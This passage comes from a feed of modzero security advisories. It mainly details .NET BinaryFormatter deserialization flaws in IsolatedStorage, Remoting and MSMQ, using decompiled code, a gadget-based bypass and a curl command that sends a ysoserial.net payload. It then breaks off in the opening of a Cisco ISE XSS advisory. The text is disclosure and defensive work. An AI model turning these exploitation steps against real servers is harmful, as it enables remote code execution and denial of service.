</span></span><span class="line"><span class="cl">        this.m_AssemIdentity = binaryFormatter.Deserialize(assem);
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">          this.m_DomainIdentity = binaryFormatter.Deserialize(domain);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This  allows   execution  of  arbitrary  code   by  utilizing  standard
</span></span><span class="line"><span class="cl">BinaryFormatter deserialization  gadgets; payloads  can for  example be
</span></span><span class="line"><span class="cl">generated using the ysoserial.net tool.  This can be used for privilege
</span></span><span class="line"><span class="cl">escalation, especially since enumeration  of isolated storage spaces is
</span></span><span class="line"><span class="cl">typically only performed during administrative tasks.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When creating an IsolatedStorage space scoped  to a user with a roaming
</span></span><span class="line"><span class="cl">profile,   the  modified   identity.dat  file   may  be   automatically
</span></span><span class="line"><span class="cl">transferred  across  an Active  Directory  network.  In this  case  the
</span></span><span class="line"><span class="cl">vulnerability  may  spread across  the  network  if an  enumeration  of
</span></span><span class="line"><span class="cl">storage  spaces  is  regularly  performed. A  transferred  payload  can
</span></span><span class="line"><span class="cl">infect another computers  Machine scope which can in  turn infect other
</span></span><span class="line"><span class="cl">users and their roaming scope.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.2 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    BinaryServerFormatterSink::ProcessMessage   leading  to  Denial  of
</span></span><span class="line"><span class="cl">    Service (DoS)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">By sending  a crafted message  to a .Net  remoting channel a  denial of
</span></span><span class="line"><span class="cl">service or remote  code execution can be triggered if  the channel uses
</span></span><span class="line"><span class="cl">a  BinaryServerFormatterSink in  its SinkChain,  which it  does in  the
</span></span><span class="line"><span class="cl">default  configuation.  Wether or  not  the  DoS  or RCE  will  trigger
</span></span><span class="line"><span class="cl">depends  on what  the  BinaryServerFormatterSink&#39;s TypeFilterLevel  has
</span></span><span class="line"><span class="cl">been set to.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The default  is Low, in  which case only the  Denial of Service  can be
</span></span><span class="line"><span class="cl">triggered. If  it has been set  to Full instead, remote  code execution
</span></span><span class="line"><span class="cl">can be performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When  using Remoting  in .Net  the incoming  and outgoing  messages are
</span></span><span class="line"><span class="cl">processed by SinkChains, which are  essentially a linked list of sinks.
</span></span><span class="line"><span class="cl">These sinks  are passed the  current data, perform some  processing and
</span></span><span class="line"><span class="cl">pass the updated data on to  the next chain for further processing. One
</span></span><span class="line"><span class="cl">of  these  sinks  is   the  BinaryServerFormatterSink  which  processes
</span></span><span class="line"><span class="cl">incoming messages which have been serialized to a binary format.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When an incoming  message is received, ProcessMessage is  called on the
</span></span><span class="line"><span class="cl">BinaryServerFormatterSink  instance, the  requestStream that  is passed
</span></span><span class="line"><span class="cl">to it contains the serialized message  that the sink is ment to decode.
</span></span><span class="line"><span class="cl">If  the TypeFilterLevel  property of  the BinaryFormatterSink  has been
</span></span><span class="line"><span class="cl">set to  Low it  will restrict  the security context  to only  grant the
</span></span><span class="line"><span class="cl">SerializationFormatter permission.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the  TypeFilterLevel is set to Full,  the  security context won&#39;t be
</span></span><span class="line"><span class="cl">restricted.
</span></span><span class="line"><span class="cl">(https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8)
</span></span><span class="line"><span class="cl">Afterwards  it  will  call  CoreChannel.DeserializeBinaryRequestMessage
</span></span><span class="line"><span class="cl">with the requestStream it has been called with.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (this.TypeFilterLevel != TypeFilterLevel.Full)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      permissionSet = new PermissionSet(PermissionState.None);
</span></span><span class="line"><span class="cl">      permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    try
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      if (permissionSet != null)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        permissionSet.PermitOnly();
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">      requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel);
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    finally
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      if (permissionSet != null)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        CodeAccessPermission.RevertPermitOnly();
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CoreChannel.DeserializeBinaryRequestMessage    then    initializes    a
</span></span><span class="line"><span class="cl">BinaryFormatter   and   sets   its   FilterLevel   according   to   the
</span></span><span class="line"><span class="cl">BinaryServerFormatterSink&#39;s.  It then  calls  UnsafeDeserialize on  the
</span></span><span class="line"><span class="cl">BinaryFormatter.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
</span></span><span class="line"><span class="cl">      binaryFormatter.FilterLevel = securityLevel;
</span></span><span class="line"><span class="cl">      CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri);
</span></span><span class="line"><span class="cl">      return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler));
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The UnsafeDeserialize call then gets  passed down to a Deserialize call
</span></span><span class="line"><span class="cl">which   instantiates    an   ObjectReader   with    the   corresponding
</span></span><span class="line"><span class="cl">TypeFilterLevel.  It then  calls ObjectReader::Deserialize  on the  new
</span></span><span class="line"><span class="cl">ObjectReader instance.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">      internalFE.FEsecurityLevel = this.m_securityLevel;
</span></span><span class="line"><span class="cl">      ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder);
</span></span><span class="line"><span class="cl">      objectReader.crossAppDomainArray = this.m_crossAppDomainArray;
</span></span><span class="line"><span class="cl">      return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage);
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ObjectReader::Deserialize    then    performs   the    deserialization.
</span></span><span class="line"><span class="cl">Additional security checks are performed if IsRemoting is true.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void CheckSecurity(ParseRecord pr)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      Type prdtType = pr.PRdtType;
</span></span><span class="line"><span class="cl">      if (prdtType != null &amp;&amp; this.IsRemoting)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        [...]
</span></span><span class="line"><span class="cl">        FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel);
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">IsRemoting  is  true if either  bMethodCall or  bMethodReturn  is true.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    private bool IsRemoting
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      get
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        return this.bMethodCall || this.bMethodReturn;
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">These two values  (bMethodCall and bMethodReturn) are only  set to true
</span></span><span class="line"><span class="cl">by the SetMethodCall and SetMethodReturn methods respectively.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.bMethodCall = true;
</span></span><span class="line"><span class="cl">      this.binaryMethodCall = binaryMethodCall;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.bMethodReturn = true;
</span></span><span class="line"><span class="cl">      this.binaryMethodReturn = binaryMethodReturn;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Those         two        methods         are        only         called
</span></span><span class="line"><span class="cl">from__BinaryParser::ReadMethodObject,   which  is   only  called   from
</span></span><span class="line"><span class="cl">__BinaryParser::Run
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    case BinaryHeaderEnum.MethodCall:
</span></span><span class="line"><span class="cl">    case BinaryHeaderEnum.MethodReturn:
</span></span><span class="line"><span class="cl">      this.ReadMethodObject(binaryHeaderEnum);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Therefore additional security checks are  only performed if an IMessage
</span></span><span class="line"><span class="cl">is being deserialized.  An attacker can bypass  the additional security
</span></span><span class="line"><span class="cl">checks  by  submitting  a  crafted  stream of  data  that  contains  no
</span></span><span class="line"><span class="cl">IMessage object and triggers execution of deserialization gadgets.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Using   the   standard   TypeConfuseDelegate    gadget,   a   call   to
</span></span><span class="line"><span class="cl">System.Diagnostics.Process::Start(string,string) can be performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the  case of TypeFilterLevel  being set to  Low (4.2.1) the  call to
</span></span><span class="line"><span class="cl">Process.Start  then causes  an  uncaught  SecurityException, since  the
</span></span><span class="line"><span class="cl">security   context    is   restricted.   The   exception    occurs   in
</span></span><span class="line"><span class="cl">System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction     in    a
</span></span><span class="line"><span class="cl">separate                thread                spawned                by
</span></span><span class="line"><span class="cl">System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread.     The
</span></span><span class="line"><span class="cl">uncaught exception  then causes termination  of the process  leading to
</span></span><span class="line"><span class="cl">Denial of Service.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the  case of TypeFilterLevel being  set to Full (4.2.2)  the call to
</span></span><span class="line"><span class="cl">Process.Start passes all security checks  and a new process is started.
</span></span><span class="line"><span class="cl">In this  case arbitrary code  can be executed  remotely as long  as the
</span></span><span class="line"><span class="cl">channel is accessible.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Because there are no restrictions  imposed on the deserialization, when
</span></span><span class="line"><span class="cl">using  an HTTP  channel 4.2.2  can also  be exploited  by generating  a
</span></span><span class="line"><span class="cl">payload file  with the  ysoserial.net tool  and a  curl request  of the
</span></span><span class="line"><span class="cl">form:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    curl -X POST -H &#34;Content-Type: application/octet-stream&#34; --data-binary &#34;@payload&#34; http://serveraddress/Service
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.3 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    System.Messaging.Message::get_Body() using a BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When  using  Microsoft  Message  Queueing (MSMQ)  with  .Net,  messages
</span></span><span class="line"><span class="cl">retrieved  from the  Queue are  processed into  a Message  object. This
</span></span><span class="line"><span class="cl">object  contains an  IMessageFormatter property  and in  the case  of a
</span></span><span class="line"><span class="cl">retrieved  messageit contains  a BodyStream  that holds  the serialized
</span></span><span class="line"><span class="cl">body of  the message.  This BodyStream is  not parsed  immediately, but
</span></span><span class="line"><span class="cl">will instead be  deserialized only when the Body&#39;s  getter is accessed.
</span></span><span class="line"><span class="cl">The getter then calls  Formatter.Read on its IMessageFormatter instance
</span></span><span class="line"><span class="cl">to create the actual Body object.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public object Body
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      get
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        if (this.filter.Body)
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (this.cachedBodyObject == null)
</span></span><span class="line"><span class="cl">          {
</span></span><span class="line"><span class="cl">            [...]
</span></span><span class="line"><span class="cl">            this.cachedBodyObject = this.Formatter.Read(this);
</span></span><span class="line"><span class="cl">          }
</span></span><span class="line"><span class="cl">          return this.cachedBodyObject;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the  IMessageFormatter is a BinaryMessageFormatter,  its Read method
</span></span><span class="line"><span class="cl">checks    if   the    BodyType   is    compatible   and    then   calls
</span></span><span class="line"><span class="cl">BinaryFormatter::Deserialize  on  a  default  BinaryFormatter  instance
</span></span><span class="line"><span class="cl">with no additional security features enabled.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public BinaryMessageFormatter()
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.formatter = new BinaryFormatter();
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public object Read(Message message)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">      int bodyType = message.BodyType;
</span></span><span class="line"><span class="cl">      if (bodyType == 768)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        Stream bodyStream = message.BodyStream;
</span></span><span class="line"><span class="cl">        return this.formatter.Deserialize(bodyStream);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This allows  the use  of arbitrary deserialization  gadgets and  can be
</span></span><span class="line"><span class="cl">used to  execute arbitrary code  when somebody retrieves  messages from
</span></span><span class="line"><span class="cl">the message queue.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of Concept exploits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">PoC  exploits are  provided  as separate  git  repos containing  Visual
</span></span><span class="line"><span class="cl">Studio Solutions.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  IsolatedStorageVulnerability  solution demonstrates  vulnerability
</span></span><span class="line"><span class="cl">4.1.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After executing the PoC, any vulnerable program enumerating the Machine
</span></span><span class="line"><span class="cl">scope will  execute a program  when deserializing the  payload. Running
</span></span><span class="line"><span class="cl">&#34;storeadm /List&#34;  in the  Visual Studio  Developer Console  for example
</span></span><span class="line"><span class="cl">will trigger the vulnerability.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The RemotingVulnerability solution demonstrates vulnerabilities 4.2.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">It contains two projects:
</span></span><span class="line"><span class="cl">    * RemotingService - a bare bones Remoting server
</span></span><span class="line"><span class="cl">    * RemotingExploit - the actual exploit
</span></span><span class="line"><span class="cl">When the server is running  and configured with TypeFilterLevel.Low the
</span></span><span class="line"><span class="cl">exploit will crash  the server process. When the server  is running and
</span></span><span class="line"><span class="cl">configured  with TypeFilterLevel.Full  the  exploit  will trigger  code
</span></span><span class="line"><span class="cl">execution in the server process.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The MSMQ solution demonstrates vulnerability 4.3.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">It contains two projects:
</span></span><span class="line"><span class="cl">    * MSMQ Reader - a small program polling messages from an MSMQ
</span></span><span class="line"><span class="cl">    * MSMQ Exploit - the actual exploit
</span></span><span class="line"><span class="cl">When the  reader is running  the exploit  will cause code  execution to
</span></span><span class="line"><span class="cl">occur as  soon as  the getter of  the Body property  of the  Message is
</span></span><span class="line"><span class="cl">accessed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">All  projects use  the TypeConfuseDelegate  gadget with  SortedSet`1 to
</span></span><span class="line"><span class="cl">reach code execution from the deserialization vulnerability.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Please find the PoC projects at GitHub:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_NetRemoting
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workarounds
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For 4.2, restricting  access to  the remoting  channel will  reduce the
</span></span><span class="line"><span class="cl">potential  attack vectors.  When  using Tcp  or  Icp channels, enabling
</span></span><span class="line"><span class="cl">authentication can  mitigate some  risks as  well. If  possible setting
</span></span><span class="line"><span class="cl">TypeFilterLevel to  Low will  mitigate the  RCE to  a DoS  but business
</span></span><span class="line"><span class="cl">cases might require using TypeFilterLevel.Full
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For 4.3, if possible, restrict access to any queue unless necessary.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Currently, no fixes are available.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * Nils Ole Timm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  independent  Swiss-German  company modzero  assists  clients  with
</span></span><span class="line"><span class="cl">security analysis  in the  complex areas  of  computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies  on   highly  detailed  technical   analysis  of  concepts,
</span></span><span class="line"><span class="cl">software   and hardware   components as  well as   the development   of
</span></span><span class="line"><span class="cl">individual   solutions.  Colleagues  at  modzero   work exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and  can  draw on
</span></span><span class="line"><span class="cl">decades  of  experience  in  various  platforms,  system  concepts, and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com
</span></span><span class="line"><span class="cl">contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero  follows  coordinated  disclosure  practices  described   here:
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This  policy  should have  been  sent to  the  vendor along  with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is  believed to be accurate at the time
</span></span><span class="line"><span class="cl">of  publishing based  on currently  available information.  Use of  the
</span></span><span class="line"><span class="cl">information  constitutes acceptance  for  use in  an  AS IS  condition.
</span></span><span class="line"><span class="cl">There are  no warranties with  regard to this information.  Neither the
</span></span><span class="line"><span class="cl">author  nor  the  publisher  accepts  any  liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect,  or consequential  loss or  damage  arising from  use of,  or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-19-03] Persistent XSS in CISCO ISE</title><link>https://modzero.com/en/advisories/mz-19-03-cisco-ise/</link><pubDate>Wed, 19 Feb 2020 00:13:37 +0200</pubDate><author>Max Moser, Katharina Männle</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-19-03-cisco-ise/</guid><description>Unauthenticated persistent cross-site scripting injection into the administrative console of CISCO ISE web application via DHCP request</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">----------------------------------------------------[MZ-19-03]----v1.2--
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Unauthenticated persistent cross-site scripting injection into the
</span></span><span class="line"><span class="cl">administrative console of CISCO ISE web application via DHCP request
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
</span></span><span class="line"><span class="cl">* 2019-11-22: PSIRT opened case (PSIRT-0535851956)
</span></span><span class="line"><span class="cl">* 2019-11-22: PSIRT communicated tentative publishing date &#39;2020-02-19&#39;
</span></span><span class="line"><span class="cl">* 2020-02-12: PSIRT incident manager confirmed reproduceability
</span></span><span class="line"><span class="cl">* 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
</span></span><span class="line"><span class="cl">* 2020-02-19: modzero released advisory to the public
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In  accordance  with  modzero&#39;s  disclosure  policy,  the  advisory  is
</span></span><span class="line"><span class="cl">expected  to  be published  not  later than  February  21st, 2020.  Our
</span></span><span class="line"><span class="cl">disclosure policy is available at:
